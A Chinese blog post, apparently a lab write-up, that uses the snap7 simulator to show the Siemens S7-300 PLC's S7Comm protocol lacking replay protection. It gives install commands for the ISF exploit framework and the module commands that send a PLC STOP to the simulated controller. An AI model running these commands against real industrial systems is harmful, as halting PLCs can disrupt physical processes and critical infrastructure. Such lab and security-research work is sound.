专栏首页ffffffff0x[ffffffff0x] 工控安全:S7-300启停实验
原创

[ffffffff0x] 工控安全:S7-300启停实验

前言

西门子(SIEMENS)公司的 PLC 产品包括 LOGO、S7-200、S7-1200、S7-300、 S7-400、S7-1500 等。西门子 PLC 在我国的应用比其他系列多。S7 系列 PLC 体积小、速度快、标准化,网络通信能力强,功能更多,可靠性高。S7 系列 PLC 产品可分为微型 PLC(如 S7-200),小规模性能要求的 PLC(如 S7-300)和中、高性能要求的PLC(如S7-400)等。

西门子 PLC 使用私有协议进行通信,它利用 TPKT 和 ISO8073 的二进制协议。西门子的 PLC 通信端口均为 102 端口。其协议有3个版本:S7Comm 协议、早期 S7CommPlus 协议和最新的 S7CommPlus 协议。

S7-200、S7-300、S7-400 系列的 PLC 采用早期的西门子私有协议 S7Comm 进行通信。该协议不像 S7CommPlus 的加密协议(S7-1500 等),它不涉及任何反重复攻击机制,可以被攻击者轻易利用。本次我们通过模拟器代替现场设备,复现S7-300的启停。


环境搭建

本次实验用模拟器代替现场设备,先访问软件官网 http://snap7.sourceforge.net/ ,点击 Download 会跳转到 https://sourceforge.net/projects/snap7/files/

下载 snap7-full-1.4.2.7z

首先S7模拟器客户端连接主机,解压,打开 \rich-demos\x86_64-win64\bin 下 serverdemo.exe

输入本机 IP 点击 start 连接。

然后使用 S7 模拟器客户端,打开 clientdemo.exe 进行连接

输入本机 IP 点击 connect 连接

此时服务端出现请求信息,表示连接成功

这个时候使用wireshark抓包可以查看到 Setup communication [0xF0] 的包

这里可以下载示例pcap文件 https://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=s7comm_downloading_block_db1.pcap

相应的响应如下


漏洞利用

接下来采用开源的工控漏洞利用框架 ISF 进行漏洞测试。

工具地址 : https://github.com/dark-lbp/isf

使用 Centos 下载并使用

yum install -y python
wget https://bootstrap.pypa.io/get-pip.py
python get-pip.py
mkdir -p ~/.pip/
sudo tee ~/.pip/pip.conf <<-'EOF'
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
[install]
trusted-host = https://pypi.tuna.tsinghua.edu.cn
EOF
git clone https://github.com/dark-lbp/isf.git
cd isf/
pip install -t /usr/lib/python2.7/site-packages -r requirements.txt
python2.7 isf.py

kali如下

python2 get-pip.py
mkdir -p ~/.pip/
sudo tee ~/.pip/pip.conf <<-'EOF'
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
[install]
trusted-host = https://pypi.tuna.tsinghua.edu.cn
EOF
git clone https://github.com/dark-lbp/isf.git
cd isf/
python2 -m pip install -r requirements.txt
python2.7 isf.py

此时运行isf.py可以像msf一样访问和操作

use exploits/plcs/siemens/s7_300_400_plc_control
set target 192.168.141.128
run

这里显示 stop plc ,同时查看模拟器中的输出,可以发现已经停止

这里发送了PLC STOP [0x29] 的包

wireshark 中是这样的

相应响应如下


总结

本文通过模拟器模拟S7-300实验环境,复现S7-300的启停实验,西门子私有协议 S7Comm 不像 S7CommPlus 的加密协议(S7-1500 等),不涉及任何反重复攻击机制,可以被攻击者轻易利用。下一篇文章将着重介绍S7comm协议。


本文作者 r0fus0d

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 西门子S7comm-plus通信过程及重放攻击分析

    西门子PLC广泛应用于工业控制系统。本文主要利用手上S7-1200 V3.0.2 固件版本的PLC和TIA13等环境进行S7comm-plus加密协议初步分析及...

    FB客服
  • 西门子PLC的网络仿真搭建方法探讨

    在手上没有真实的西门子PLC设备情况的情况下,PLC本地仿真器可以为我们进行开关量和简单模拟量的程序仿真。但工控安全人员想在没有真实PLC的条件下获取S7通讯数...

    FB客服
  • 西门子S7系列PLC安全防护研究

    近年来,随着中国制造的不断崛起,工业控制系统已成为国家关键基础设施的重中之重,工控系统的安全问题也随之而来。工控产品的多样化,造成了工控系统网络通讯协议不同,大...

    FB客服
  • 原创 | S7Comm-Plus协议分析之数据区访问

    概述:西门子PLC使用私有协议进行通信,端口为102。西门子PLC协议有3个版本,S7Comm协议,早期S7CommPlus协议和最新的S7CommPlus协议...

    绿盟科技研究通讯
  • 工控安全入门之攻与防

    2010 年 6 月,一个名为 Stuxnet处于休眠状态的病毒潜伏在伊朗的铀浓缩设施网络中,Stuxnet在位于纳坦兹的离心机中被激活,控制了30%的纳坦兹设...

    FB客服
  • 施耐德PLC漏洞历险记

    工控安全是维护国家基础设施的安全,可工控设备并不像web那么常见,因此工控安全的研究较之web安全也相对迟缓。最近,瑞不可当工控团队入手了一台施耐德PLC,就让...

    FB客服
  • 工控实验箱之工控安全演示及防护建议

    由于工业环境中的生产环境、设备应用场景以及面向的对象等的特殊性,致使围绕它的周边设备也具有与传统网络完全不一样的基本形态,所以在研究工业安全的同时,我们不能以传...

    FB客服
  • 黑无止境 2015KCon黑客大会顺利召开

    大数据文摘
  • 一种工控蜜罐识别与反识别技术研究与应用实践

    本文章结合作者在资产探测、入侵检测、网络攻防、蜜罐研究相关工作中大量实践,在此对工控蜜罐识别与反识别的技术进行研究与应用实践与大家进行分享与探讨。

    FB客服

扫码关注云+社区

领取腾讯云代金券